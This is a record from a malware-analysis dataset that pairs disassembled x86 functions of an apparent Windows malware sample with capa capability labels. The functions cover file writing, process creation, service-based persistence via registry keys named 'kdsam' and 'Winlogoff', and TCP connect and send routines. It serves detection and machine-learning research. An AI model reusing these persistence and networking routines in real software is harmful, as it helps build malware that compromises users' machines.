joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c30
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov edx, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
mov ebx, dword [esp + 0x11c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
mov ecx, edx
stosb byte es:[edi], al
mov dword [esp + 0x14], 0
call fcn.00401da0
mov ebp, eax
test ebp, ebp
jne 0x401c7b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 8
mov edi, dword [esp + 0x120]
test edi, edi
je 0x401cfe
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x42012c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x14]
push 0x420118
push eax
call fcn.0040d6b0
add esp, 8
test eax, eax
jne 0x401d21
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 8
push 0
push 0x80
push 1
push 0
push 0
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401d54
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x108
ret 8
mov eax, dword [ebp + 4]
mov ecx, dword [ebp + 0x14]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
test edi, edi
je 0x401d7f
add ebp, 8
push ebp
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 8
Function at 0x402860
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
sub esp, 0x158
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x1c], 0
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x60]
mov dword [esp + 0x14], eax
push 0x104
push ecx
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [esi + 0xc0]
lea edx, [esp + 0x60]
cmp eax, 4
mov edi, str.ccmclient9x.exe
je 0x4028ce
mov edi, str.ccmclientnt.exe
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x11
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
push edx
push 0x4202fc
push eax
push 0x20
push eax
push eax
mov dword [esp + 0x34], eax
push eax
lea eax, [esp + 0x80]
push eax
push 0
mov dword [esp + 0x44], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
je 0x402965
mov ecx, dword [esp + 0xc]
push 0xbb8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
call edi
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x158
ret
Function at 0x402980
Capabilities:
Check os version
Get common file path
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x419bbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1ac
push esi
mov esi, ecx
push edi
mov ecx, 0x26
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x18]
mov ecx, esi
cmp eax, 5
jbe 0x4029d1
call fcn.00402b80
jmp 0x4029d6
call fcn.00402d80
mov ecx, dword [0x420df8]
mov dword [esp + 8], ecx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xb1]
mov byte [esp + 0xb0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
lea edx, [esp + 0xb4]
push 0x25
push edx
push 0
mov dword [esp + 0x1cc], 0
stosb byte es:[edi], al
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServiceskdsam
push closesocket
call esi
test eax, eax
je 0x402a69
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServices
push closesocket
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push edx
push str.kdsam
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push str.kdsam
lea ecx, [esp + 0xc]
call fcn.00416649
mov ecx, dword [esp + 8]
mov eax, dword [ecx - 8]
lea ecx, [esp + 8]
inc eax
push eax
push 0x80
call fcn.00416734
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, 1
push eax
push edi
push 0
push str.DisplayName
push edx
call esi
push 0x420360
lea ecx, [esp + 0xc]
call fcn.00416649
lea eax, [esp + 0xb0]
lea ecx, [esp + 8]
push eax
call fcn.0041670d
push str.kdsam.sys
lea ecx, [esp + 0xc]
call fcn.0041670d
mov ecx, dword [esp + 8]
mov eax, dword [ecx - 8]
lea ecx, [esp + 8]
inc eax
push eax
push 0x80
call fcn.00416734
mov edx, dword [esp + 0x10]
push eax
push edi
push 0
push str.ImagePath
push edx
call esi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push str.ErrorControl
push ecx
mov dword [esp + 0x28], edi
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [esp + 0x28], edi
call esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.Type
push edx
mov dword [esp + 0x28], edi
call esi
lea ecx, [esp + 8]
mov dword [esp + 0x1bc], 0xffffffff
call fcn.004165f2
mov ecx, dword [esp + 0x1b4]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1b8
ret
Function at 0x402b80
Capabilities:
Get common file path
Persist via windows service
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x419bdb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
mov eax, dword [0x420df8]
push esi
push edi
mov dword [esp + 8], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
lea ecx, [esp + 0x18]
push 0x25
push ecx
push 0
mov dword [esp + 0x130], 0
mov dword [esp + 0x20], 0
stosb byte es:[edi], al
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0xc]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesWinlogoff
push closesocket
call esi
test eax, eax
je 0x402c2e
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServices
push closesocket
call esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push ecx
push str.Winlogoff
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push str.Winlogoff
lea ecx, [esp + 0xc]
call fcn.00416649
mov eax, dword [esp + 8]
lea ecx, [esp + 8]
mov eax, dword [eax - 8]
inc eax
push eax
push 0x80
call fcn.00416734
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push 1
push 0
push str.DisplayName
push ecx
call esi
lea edx, [esp + 0x14]
lea ecx, [esp + 8]
push edx
call fcn.00416649
push str.WinLogoff.exe
lea ecx, [esp + 0xc]
call fcn.0041670d
mov eax, dword [esp + 8]
lea ecx, [esp + 8]
mov eax, dword [eax - 8]
inc eax
push eax
push 0x80
call fcn.00416734
mov ecx, dword [esp + 0x10]
push eax
push 1
push 0
push str.ImagePath
push ecx
call esi
push str.LocalSystem
lea ecx, [esp + 0xc]
call fcn.00416649
mov edx, dword [esp + 8]
lea ecx, [esp + 8]
mov eax, dword [edx - 8]
inc eax
push eax
push 0x80
call fcn.00416734
push eax
mov eax, dword [esp + 0x14]
push 1
push 0
push str.ObjectName
push eax
call esi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.ErrorControl
push edx
mov dword [esp + 0x28], 1
call esi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [esp + 0x28], 2
call esi
lea edx, [esp + 0x10]
push 4
push edx
mov dword [esp + 0x18], 0x110
push 4
mov eax, dword [esp + 0x18]
push 0
push str.Type
push eax
call esi
lea ecx, [esp + 8]
mov dword [esp + 0x120], 0xffffffff
call fcn.004165f2
mov ecx, dword [esp + 0x118]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x11c
ret
Function at 0x4033b0
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
sub esp, 0xf4
push ebx
push esi
mov esi, dword [esp + 0x100]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esi], 0
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0x9c
call edi
mov ebx, eax
test ebx, ebx
jne 0x40340b
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x94
push ecx
call edi
test eax, eax
jne 0x40340b
pop edi
pop esi
pop ebx
add esp, 0xf4
ret
mov eax, dword [esp + 0x24]
sub eax, 0
je 0x40358e
dec eax
je 0x40352f
dec eax
jne 0x403594
mov eax, dword [esp + 0x18]
cmp eax, 4
ja 0x403432
or dword [esi], 0x10
cmp eax, 5
jne 0x40343d
mov eax, dword [esi]
or al, 0x20
mov dword [esi], eax
test ebx, ebx
je 0x4034a0
mov al, byte [esp + 0xae]
cmp al, 1
jne 0x403464
mov eax, dword [esi]
pop edi
or eax, 0x20000
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
cmp al, 3
jne 0x403480
mov eax, dword [esi]
pop edi
or eax, 0x40000
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
cmp al, 2
jne 0x403594
mov eax, dword [esi]
pop edi
or eax, 0x80000
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
lea edx, [esp + 0xc]
push edx
push 1
push 0
push str.SYSTEMCurrentControlSetControlProductOptions
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
lea ecx, [esp + 0xb0]
push eax
push ecx
push 0
push 0
push str.ProductType
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0xb0]
push ecx
push str.WINNT
call edi
test eax, eax
jne 0x403504
or dword [esi], 0x10000
lea edx, [esp + 0xb0]
push edx
push str.SERVERNT
call edi
test eax, eax
jne 0x403594
mov eax, dword [esi]
pop edi
or eax, 0x40000
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
cmp eax, 4
ja 0x40355a
cmp eax, 4
jne 0x403545
test ecx, ecx
ja 0x40355a
mov eax, dword [esi]
pop edi
or al, 2
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
cmp ecx, 0xa
jne 0x403574
mov eax, dword [esi]
pop edi
or al, 4
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
cmp ecx, 0x5a
jne 0x403594
mov eax, dword [esi]
pop edi
or al, 8
mov dword [esi], eax
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret
mov eax, dword [esi]
or al, 1
mov dword [esi], eax
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xf4
ret

Function at 0x403c20
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret
Function at 0x4040e4
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 0x10]
mov dword [esi + 0x20], edx
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 1
push 0
mov dword [esi + 8], eax
call edi
push 0
push 1
push 0
push 0
mov dword [esi + 0xc], eax
call edi
mov dword [esi + 0x18], eax
lea eax, [esi + 0x14]
push eax
push 0
push esi
push 0x4041c0
push 0
push 0
call fcn.0040adec
add esp, 0x18
mov dword [esi + 0x10], eax
mov eax, 1
pop edi
pop esi
ret 8
Function at 0x404417
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x124
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
jne 0x4045c2
mov eax, dword [esi + 0x1c]
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x40443d
push eax
call ebx
mov dword [esi + 0x1c], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x1c], eax
jne 0x40445f
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
xor eax, eax
lea edi, [esi + 0x24]
mov dword [esp + 0xc], eax
push edi
mov dword [esp + 0x14], eax
mov word [esp + 0x10], 2
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x4044a1
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4044e8
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x10], eax
mov dx, word [esi + 0x20]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x1c]
mov edi, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov word [esp + 0xe], ax
lea eax, [esp + 0x20]
push eax
push 0x8004667e
push ecx
mov dword [esp + 0x2c], 1
call edi
cmp eax, 0xffffffff
jne 0x404507
mov edx, dword [esi + 0x1c]
push edx
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
push 0x2726
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [esi + 0x1c]
push ecx
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [esi + 0x1c]
mov eax, dword [esp + 0x134]
lea ecx, [esp + 0x24]
mov dword [esp + 0x30], edx
push ecx
lea edx, [esp + 0x30]
push 0
push edx
push 0
push 0
mov dword [esp + 0x40], 1
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x404568
mov eax, dword [esi + 0x1c]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x1c]
push ecx
push 0x8004667e
push edx
mov dword [esp + 0x28], 0
call edi
cmp eax, 0xffffffff
jne 0x404599
mov eax, dword [esi + 0x1c]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x1c]
push 0x31
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x4045c2
mov eax, dword [esi + 0x1c]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x124
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x124
ret 4
Function at 0x404650
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0xa4]
mov ecx, ebx
call fcn.004038e0
push 0
mov ecx, ebx
mov edi, eax
call fcn.004039d0
test edi, edi
mov ebp, eax
mov dword [esi + 0xd4], 0
mov dword [esp + 0x10], 1
jle 0x4046f1
mov edx, dword [esi + 0xd4]
mov ecx, dword [esi + 0x1c]
mov eax, edi
push 0
sub eax, edx
push eax
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4046bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
jne 0x4046db
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4046d1
mov edx, dword [esi + 0xd4]
push eax
add edx, eax
mov ecx, ebx
mov dword [esi + 0xd4], edx
call fcn.004039e0
cmp dword [esi + 0xd4], edi
jl 0x404687
jmp 0x4046f1
mov edx, dword [esi + 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov dword [esi + 0xd4], eax
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0xd4]
push edx
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x40e1d1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x421610
cmp edx, dword [eax]
je 0x40e1f3
add eax, 8
inc ecx
cmp eax, 0x4216a0
jl 0x40e1e4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x421610]
jne 0x40e321
mov eax, dword [0x42ab78]
cmp eax, 1
je 0x40e2fb
test eax, eax
jne 0x40e224
cmp dword [0x42112c], 1
je 0x40e2fb
cmp edx, 0xfc
je 0x40e321
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40e25b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040e420
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040e330
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40e29e
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040e330
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41cc5c
push edi
call fcn.0040a8a0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040e420
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040e430
lea eax, [ebp - 0xa0]
push 0x41cc3c
push eax
call fcn.0040e430
push dword [esi + 0x421614]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040e430
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004104e1
add esp, 0x2c
pop edi
jmp 0x40e321
lea eax, [ebp + 8]
lea esi, [esi + 0x421614]
push 0
push eax
push dword [esi]
call fcn.0040e330
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x41540f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x415451
call fcn.00418901
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x415451
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x415448
xor eax, eax
jmp 0x415459
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041545f
pop edi
pop esi
pop ebx
ret 4
Function at 0x415fda
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x41a0a0
call fcn.0040b3b8
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00418901
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x416019
call fcn.00418901
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x416027
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x416035
or eax, 0xffffffff
jmp 0x41611d
mov ecx, esi
call fcn.00415f50
mov dword [ebp - 0x14], eax
call fcn.00413a52
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x41606c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41606c
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00413a06
push dword [ebp - 0x14]
call fcn.00413554
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00415cdd
cmp eax, edi
je 0x4160df
test byte [esi + 0x24], 0x10
je 0x4160ad
push 4
mov ecx, esi
pop ebx
call fcn.00412f5e
test ah, 1
je 0x4160a5
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.00415561
cmp dword [esi + 0x1c], edi
je 0x4160df
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00412f92
jmp 0x4160df
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x4160f3
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41610c
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41610c
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00415f8a
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x41904d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41907b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x419099
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00418fb3
jmp 0x419099
mov eax, dword [esi + 0x14]
test eax, eax
je 0x419099
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00418fb3
test edi, edi
mov eax, edi
jne 0x419083
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8